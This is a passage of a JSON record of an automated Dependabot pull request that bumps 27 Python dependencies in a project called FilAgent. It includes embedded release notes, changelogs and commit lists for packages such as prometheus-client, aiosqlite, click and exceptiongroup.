releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.23.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: use tuples instead of packaging Version by \u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.23.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUTF-8 Content Negotiation by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1102\"\u003eprometheus/client_python#1102\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRe include test data by \u003ca href=\"https://github.com/mgorny\"\u003e\u003ccode\u003e@​mgorny\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1113\"\u003eprometheus/client_python#1113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove parser performance by \u003ca href=\"https://github.com/csmarchbanks\"\u003e\u003ccode\u003e@​csmarchbanks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1117\"\u003eprometheus/client_python#1117\u003c/a\u003e\u003c/li\u003e\n\u003cli...\n\n_Description has been truncated_","html_url":"https://github.com/fil04331/FilAgent/pull/213","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/fil04331%2FFilAgent/issues/213","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/213/packages"}},{"old_version":"0.2.90","new_version":"0.3.16","update_type":"minor","path":null,"pr_created_at":"2025-11-24T15:31:02.000Z","version_change":"0.2.90 → 0.3.16","issue":{"uuid":"3659418915","node_id":"PR_kwDOQJdjYc61Og46","number":188,"state":"open","title":"chore(deps): Bump the python-minor group across 1 directory with 27 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-11-24T15:31:02.000Z","updated_at":"2025-11-24T15:35:24.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","group_name":"python-minor","update_count":27,"packages":[{"name":"aiosqlite","old_version":"0.20.0","new_version":"0.21.0","repository_url":"https://github.com/omnilib/aiosqlite"},{"name":"click","old_version":"8.3.0","new_version":"8.3.1","repository_url":"https://github.com/pallets/click"},{"name":"exceptiongroup","old_version":"1.3.0","new_version":"1.3.1","repository_url":"https://github.com/agronholm/exceptiongroup"},{"name":"fastapi","old_version":"0.121.2","new_version":"0.121.3","repository_url":"https://github.com/fastapi/fastapi"},{"name":"huggingface-hub","old_version":"1.1.4","new_version":"1.1.5","repository_url":"https://github.com/huggingface/huggingface_hub"},{"name":"hypothesis","old_version":"6.147.0","new_version":"6.148.2","repository_url":"https://github.com/HypothesisWorks/hypothesis"},{"name":"prometheus-client","old_version":"0.20.0","new_version":"0.23.1","repository_url":"https://github.com/prometheus/client_python"},{"name":"pydantic","old_version":"2.11.10","new_version":"2.12.4","repository_url":"https://github.com/pydantic/pydantic"},{"name":"pydantic-core","old_version":"2.33.2","new_version":"2.41.5","repository_url":"https://github.com/pydantic/pydantic-core"},{"name":"pytest-subtests","old_version":"0.14.2","new_version":"0.15.0","repository_url":"https://github.com/pytest-dev/pytest-subtests"},{"name":"referencing","old_version":"0.36.2","new_version":"0.37.0","repository_url":"https://github.com/python-jsonschema/referencing"},{"name":"rpds-py","old_version":"0.28.0","new_version":"0.29.0","repository_url":"https://github.com/crate-py/rpds"},{"name":"starlette","old_version":"0.49.3","new_version":"0.50.0","repository_url":"https://github.com/Kludex/starlette"},{"name":"uvicorn","old_version":"0.30.6","new_version":"0.38.0","repository_url":"https://github.com/Kludex/uvicorn"},{"name":"backrefs","old_version":"6.0.1","new_version":"6.1","repository_url":"https://github.com/facelessuser/backrefs"},{"name":"bandit","old_version":"1.9.1","new_version":"1.9.2","repository_url":"https://github.com/PyCQA/bandit"},{"name":"cfgv","old_version":"3.4.0","new_version":"3.5.0","repository_url":"https://github.com/asottile/cfgv"},{"name":"coverage","old_version":"7.11.3","new_version":"7.12.0"},{"name":"gradio","old_version":"5.49.1","new_version":"5.50.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"gradio-client","old_version":"1.13.3","new_version":"1.14.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"openai","old_version":"2.8.0","new_version":"2.8.1","repository_url":"https://github.com/openai/openai-python"},{"name":"packageurl-python","old_version":"0.17.5","new_version":"0.17.6","repository_url":"https://github.com/package-url/packageurl-python"},{"name":"pytest-asyncio","old_version":"0.24.0","new_version":"0.26.0","repository_url":"https://github.com/pytest-dev/pytest-asyncio"},{"name":"ruff","old_version":"0.14.5","new_version":"0.14.6","repository_url":"https://github.com/astral-sh/ruff"},{"name":"safety-schemas","old_version":"0.0.16","new_version":"0.0.17","repository_url":"https://github.com/pyupio/safety_schemas"},{"name":"stevedore","old_version":"5.5.0","new_version":"5.6.0"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor group with 27 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [aiosqlite](https://github.com/omnilib/aiosqlite) | `0.20.0` | `0.21.0` |\n| [click](https://github.com/pallets/click) | `8.3.0` | `8.3.1` |\n| [exceptiongroup](https://github.com/agronholm/exceptiongroup) | `1.3.0` | `1.3.1` |\n| [fastapi](https://github.com/fastapi/fastapi) | `0.121.2` | `0.121.3` |\n| [huggingface-hub](https://github.com/huggingface/huggingface_hub) | `1.1.4` | `1.1.5` |\n| [hypothesis](https://github.com/HypothesisWorks/hypothesis) | `6.147.0` | `6.148.2` |\n| [prometheus-client](https://github.com/prometheus/client_python) | `0.20.0` | `0.23.1` |\n| [pydantic](https://github.com/pydantic/pydantic) | `2.11.10` | `2.12.4` |\n| [pydantic-core](https://github.com/pydantic/pydantic-core) | `2.33.2` | `2.41.5` |\n| [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) | `0.14.2` | `0.15.0` |\n| [referencing](https://github.com/python-jsonschema/referencing) | `0.36.2` | `0.37.0` |\n| [rpds-py](https://github.com/crate-py/rpds) | `0.28.0` | `0.29.0` |\n| [starlette](https://github.com/Kludex/starlette) | `0.49.3` | `0.50.0` |\n| [uvicorn](https://github.com/Kludex/uvicorn) | `0.30.6` | `0.38.0` |\n| [backrefs](https://github.com/facelessuser/backrefs) | `6.0.1` | `6.1` |\n| [bandit](https://github.com/PyCQA/bandit) | `1.9.1` | `1.9.2` |\n| [cfgv](https://github.com/asottile/cfgv) | `3.4.0` | `3.5.0` |\n| [coverage[toml]](https://github.com/coveragepy/coveragepy) | `7.11.3` | `7.12.0` |\n| [gradio](https://github.com/gradio-app/gradio) | `5.49.1` | `5.50.0` |\n| [gradio-client](https://github.com/gradio-app/gradio) | `1.13.3` | `1.14.0` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.2.90` | `0.3.16` |\n| [openai](https://github.com/openai/openai-python) | `2.8.0` | `2.8.1` |\n| [packageurl-python](https://github.com/package-url/packageurl-python) | `0.17.5` | `0.17.6` |\n| [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) | `0.24.0` | `0.26.0` |\n| [ruff](https://github.com/astral-sh/ruff) | `0.14.5` | `0.14.6` |\n| [safety-schemas](https://github.com/pyupio/safety_schemas) | `0.0.16` | `0.0.17` |\n| [stevedore](https://docs.openstack.org/stevedore) | `5.5.0` | `5.6.0` |\n\n\nUpdates `aiosqlite` from 0.20.0 to 0.21.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/omnilib/aiosqlite/blob/main/CHANGELOG.md\"\u003eaiosqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.21.0\u003c/h2\u003e\n\u003cp\u003eMaintenance release\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix: close connection correctly when BaseException raised in connection (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/317\"\u003e#317\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMetadata improvements\u003c/li\u003e\n\u003cli\u003eTested and supported on Python 3.13\u003c/li\u003e\n\u003cli\u003eDrop support for Python 3.8\u003c/li\u003e\n\u003cli\u003eDrop testing on PyPy\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"text\"\u003e\u003ccode\u003e$ git shortlog -s v0.20.0...v0.21.0\n     6\tAmethyst Reese\n     1\tGabriel\n     1\tStanley Kudrow\n    11\tdependabot[bot]\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/82eb2d2b05c257e247acba561b2548cca7fa365a\"\u003e\u003ccode\u003e82eb2d2\u003c/code\u003e\u003c/a\u003e Version bump v0.21.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/3a6bd1f71fb238790f3bdd4637700cce14c4390a\"\u003e\u003ccode\u003e3a6bd1f\u003c/code\u003e\u003c/a\u003e Update copyright headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/ca481c66044e4229250b609874e0fbed805232b1\"\u003e\u003ccode\u003eca481c6\u003c/code\u003e\u003c/a\u003e Drop Python 3.8, set Python3.9 as the minimum version. (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/313\"\u003e#313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/883695fc6d59c5fbdfd8f97a329f98356c39a2cd\"\u003e\u003ccode\u003e883695f\u003c/code\u003e\u003c/a\u003e fix: close connection thread properly if BaseException raised in connect step...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/5391d28ac99cf7bde07ebd923f747d2142726206\"\u003e\u003ccode\u003e5391d28\u003c/code\u003e\u003c/a\u003e Bump mypy from 1.9.0 to 1.14.1 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/323\"\u003e#323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c8194e89b45ef5b1b4c9a29d8bc1bccc19d4e149\"\u003e\u003ccode\u003ec8194e8\u003c/code\u003e\u003c/a\u003e Drop testing compat with pypy (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/326\"\u003e#326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c34bcdaf674eaa137339dbb38a3a476ad2a101d5\"\u003e\u003ccode\u003ec34bcda\u003c/code\u003e\u003c/a\u003e Bump sphinx from 7.2.6 to 8.1.3 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/324\"\u003e#324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/a8a7084d2130063f459ffc622a6f3e7b3deb62ea\"\u003e\u003ccode\u003ea8a7084\u003c/code\u003e\u003c/a\u003e Bump flake8-bugbear from 24.2.6 to 24.12.12 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/321\"\u003e#321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/8a95cd3843f8ccd40d2018cd88a7454fb94f8a57\"\u003e\u003ccode\u003e8a95cd3\u003c/code\u003e\u003c/a\u003e Testing improvements (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/320\"\u003e#320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/b5ddd856b7db08a4296088626350a493bbdd0b60\"\u003e\u003ccode\u003eb5ddd85\u003c/code\u003e\u003c/a\u003e Bump coverage[toml] from 7.4.4 to 7.6.10 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/325\"\u003e#325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/omnilib/aiosqlite/compare/v0.20.0...v0.21.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `click` from 8.3.0 to 8.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pallets/click/releases\"\u003eclick's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.3.1\u003c/h2\u003e\n\u003cp\u003eThis is the Click 8.3.1 fix release, which fixes bugs but does not otherwise change behavior and should not result in breaking changes compared to the latest feature release.\u003c/p\u003e\n\u003cp\u003ePyPI: \u003ca href=\"https://pypi.org/project/click/8.3.1/\"\u003ehttps://pypi.org/project/click/8.3.1/\u003c/a\u003e\nChanges: \u003ca href=\"https://click.palletsprojects.com/page/changes/#version-8-3-1\"\u003ehttps://click.palletsprojects.com/page/changes/#version-8-3-1\u003c/a\u003e\nMilestone: \u003ca href=\"https://github.com/pallets/click/milestone/28\"\u003ehttps://github.com/pallets/click/milestone/28\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDon't discard pager arguments by correctly using \u003ccode\u003esubprocess.Popen\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3039\"\u003e#3039\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3055\"\u003e#3055\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003eSentinel.UNSET\u003c/code\u003e default values by \u003ccode\u003eNone\u003c/code\u003e as they're passed through the \u003ccode\u003eContext.invoke()\u003c/code\u003e method. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3066\"\u003e#3066\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3065\"\u003e#3065\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3068\"\u003e#3068\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix conversion of \u003ccode\u003eSentinel.UNSET\u003c/code\u003e happening too early, which caused incorrect behavior for multiple parameters using the same name. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3071\"\u003e#3071\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3079\"\u003e#3079\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix rendering when \u003ccode\u003eprompt\u003c/code\u003e and \u003ccode\u003econfirm\u003c/code\u003e parameter \u003ccode\u003eprompt_suffix\u003c/code\u003e is empty. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3019\"\u003e#3019\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3021\"\u003e#3021\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWhen \u003ccode\u003eSentinel.UNSET\u003c/code\u003e is found during parsing, it will skip calls to \u003ccode\u003etype_cast_value\u003c/code\u003e. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3069\"\u003e#3069\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3090\"\u003e#3090\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHide \u003ccode\u003eSentinel.UNSET\u003c/code\u003e values as \u003ccode\u003eNone\u003c/code\u003e when looking up for other parameters through the context inside parameter callbacks. \u003ca href=\"https://redirect.github.com/pallets/click/issues/3136\"\u003e#3136\u003c/a\u003e \u003ca href=\"https://redirect.github.com/pallets/click/issues/3137\"\u003e#3137\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pallets/click/blob/main/CHANGES.rst\"\u003eclick's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 8.3.1\u003c/h2\u003e\n\u003cp\u003eReleased 2025-11-15\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eDon't discard pager arguments by correctly using \u003ccode\u003esubprocess.Popen\u003c/code\u003e. :issue:\u003ccode\u003e3039\u003c/code\u003e\n:pr:\u003ccode\u003e3055\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eReplace \u003ccode\u003eSentinel.UNSET\u003c/code\u003e default values by \u003ccode\u003eNone\u003c/code\u003e as they're passed through\nthe \u003ccode\u003eContext.invoke()\u003c/code\u003e method. :issue:\u003ccode\u003e3066\u003c/code\u003e :issue:\u003ccode\u003e3065\u003c/code\u003e :pr:\u003ccode\u003e3068\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFix conversion of \u003ccode\u003eSentinel.UNSET\u003c/code\u003e happening too early, which caused incorrect\nbehavior for multiple parameters using the same name. :issue:\u003ccode\u003e3071\u003c/code\u003e :pr:\u003ccode\u003e3079\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eHide \u003ccode\u003eSentinel.UNSET\u003c/code\u003e values as \u003ccode\u003eNone\u003c/code\u003e when looking up for other parameters\nthrough the context inside parameter callbacks. :issue:\u003ccode\u003e3136\u003c/code\u003e :pr:\u003ccode\u003e3137\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFix rendering when \u003ccode\u003eprompt\u003c/code\u003e and \u003ccode\u003econfirm\u003c/code\u003e parameter \u003ccode\u003eprompt_suffix\u003c/code\u003e is\nempty. :issue:\u003ccode\u003e3019\u003c/code\u003e :pr:\u003ccode\u003e3021\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eWhen \u003ccode\u003eSentinel.UNSET\u003c/code\u003e is found during parsing, it will skip calls to\n\u003ccode\u003etype_cast_value\u003c/code\u003e. :issue:\u003ccode\u003e3069\u003c/code\u003e :pr:\u003ccode\u003e3090\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/1d038f270701498433cb432f54db89f95f07a845\"\u003e\u003ccode\u003e1d038f2\u003c/code\u003e\u003c/a\u003e release version 8.3.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/03f3889f505d0c9ca4f9d6810f9e4ba2799f2a66\"\u003e\u003ccode\u003e03f3889\u003c/code\u003e\u003c/a\u003e Fix Ruff UP038 warning (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3141\"\u003e#3141\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/3867781222cb63693ca67df94352d29d8e6e2770\"\u003e\u003ccode\u003e3867781\u003c/code\u003e\u003c/a\u003e Fix Ruff UP038 warning\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/b91bb9548a5617b1197add95e084d569f57149c3\"\u003e\u003ccode\u003eb91bb95\u003c/code\u003e\u003c/a\u003e Provide altered context to callbacks to hide \u003ccode\u003eUNSET\u003c/code\u003e values as \u003ccode\u003eNone\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3137\"\u003e#3137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/437e1e3295c7ec979fc1bf285bb402ca20d847e7\"\u003e\u003ccode\u003e437e1e3\u003c/code\u003e\u003c/a\u003e Temporarily provide a fake context to the callback to hide \u003ccode\u003eUNSET\u003c/code\u003e values as ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/ea70da487b05d6bb758d472a3a9ffab4a5b7fcd5\"\u003e\u003ccode\u003eea70da4\u003c/code\u003e\u003c/a\u003e Don't test using a file in docs/ (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3102\"\u003e#3102\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/e27b307462b725722f620c69dd1d5509c032d18a\"\u003e\u003ccode\u003ee27b307\u003c/code\u003e\u003c/a\u003e Make \u003ccode\u003euv run --all-extras pyright --verifytypes click\u003c/code\u003e pass (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3072\"\u003e#3072\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/a92c573f3195c9da3058eadf1735d38af186d22c\"\u003e\u003ccode\u003ea92c573\u003c/code\u003e\u003c/a\u003e Fix test_edit to work with BSD sed (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3129\"\u003e#3129\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/bd131e1ab63da2281d6dd9b8205ad2eb5a085468\"\u003e\u003ccode\u003ebd131e1\u003c/code\u003e\u003c/a\u003e Fix test_edit to work with BSD sed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pallets/click/commit/0b5c6b75f617e6ee2f9f6dcd071b8a4bf183d1ed\"\u003e\u003ccode\u003e0b5c6b7\u003c/code\u003e\u003c/a\u003e Add Best practices section  (\u003ca href=\"https://redirect.github.com/pallets/click/issues/3127\"\u003e#3127\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pallets/click/compare/8.3.0...8.3.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `exceptiongroup` from 1.3.0 to 1.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/releases\"\u003eexceptiongroup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e when formatting unpickled TBEs from another Python process which did not apply the \u003ccode\u003eexceptiongroup\u003c/code\u003e patches (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/144\"\u003e#144\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/blob/main/CHANGES.rst\"\u003eexceptiongroup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eVersion history\u003c/h1\u003e\n\u003cp\u003eThis library adheres to \u003ccode\u003eSemantic Versioning 2.0 \u0026lt;http://semver.org/\u0026gt;\u003c/code\u003e_.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e\nwhen formatting unpickled TBEs from another Python process which did not apply the\n\u003ccode\u003eexceptiongroup\u003c/code\u003e patches\n(\u003ccode\u003e[#144](https://github.com/agronholm/exceptiongroup/issues/144) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/144\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003e**kwargs\u003c/code\u003e to function and method signatures as appropriate to match the\nsignatures in the standard library\u003c/li\u003e\n\u003cli\u003eIn line with the stdlib typings in typeshed, updated \u003ccode\u003e(Base)ExceptionGroup\u003c/code\u003e generic\ntypes to define defaults for their generic arguments (defaulting to\n\u003ccode\u003eBaseExceptionGroup[BaseException]\u003c/code\u003e and \u003ccode\u003eExceptionGroup[Exception]\u003c/code\u003e)\n(PR by \u003ca href=\"https://github.com/mikenerone\"\u003e\u003ccode\u003e@​mikenerone\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged \u003ccode\u003eBaseExceptionGroup.__init__()\u003c/code\u003e to directly call\n\u003ccode\u003eBaseException.__init__()\u003c/code\u003e instead of the superclass \u003ccode\u003e__init__()\u003c/code\u003e in order to\nemulate the CPython behavior (broken or not) (PR by \u003ca href=\"https://github.com/cfbolz\"\u003e\u003ccode\u003e@​cfbolz\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged the \u003ccode\u003eexceptions\u003c/code\u003e attribute to always return the same tuple of exceptions,\ncreated from the original exceptions sequence passed to \u003ccode\u003eBaseExceptionGroup\u003c/code\u003e to\nmatch CPython behavior\n(\u003ccode\u003e[#143](https://github.com/agronholm/exceptiongroup/issues/143) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/143\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.2\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved an \u003ccode\u003eassert\u003c/code\u003e in \u003ccode\u003eexceptiongroup._formatting\u003c/code\u003e that caused compatibility\nissues with Sentry (\u003ccode\u003e[#123](https://github.com/agronholm/exceptiongroup/issues/123) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/123\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated the copying of \u003ccode\u003e__notes__\u003c/code\u003e to match CPython behavior (PR by CF Bolz-Tereick)\u003c/li\u003e\n\u003cli\u003eCorrected the type annotation of the exception handler callback to accept a\n\u003ccode\u003eBaseExceptionGroup\u003c/code\u003e instead of \u003ccode\u003eBaseException\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFixed type errors on Python \u0026lt; 3.10 and the type annotation of \u003ccode\u003esuppress()\u003c/code\u003e\n(PR by John Litborn)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded special monkeypatching if \u003ccode\u003eApport \u0026lt;https://github.com/canonical/apport\u0026gt;\u003c/code\u003e_ has\noverridden \u003ccode\u003esys.excepthook\u003c/code\u003e so it will format exception groups correctly\n(PR by John Litborn)\u003c/li\u003e\n\u003cli\u003eAdded a backport of \u003ccode\u003econtextlib.suppress()\u003c/code\u003e from Python 3.12.1 which also handles\nsuppressing exceptions inside exception groups\u003c/li\u003e\n\u003cli\u003eFixed bare \u003ccode\u003eraise\u003c/code\u003e in a handler reraising the original naked exception rather than\nan exception group which is what is raised when you do a \u003ccode\u003eraise\u003c/code\u003e in an \u003ccode\u003eexcept*\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ddddb6fdf8582c4ae5187dc1bd258115974229fe\"\u003e\u003ccode\u003eddddb6f\u003c/code\u003e\u003c/a\u003e Added the release version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/49c5e60d9efad1416f4f42455e119375904a1d6d\"\u003e\u003ccode\u003e49c5e60\u003c/code\u003e\u003c/a\u003e Fixed AttributeError when formatting unpickled TBEs from an unpatched 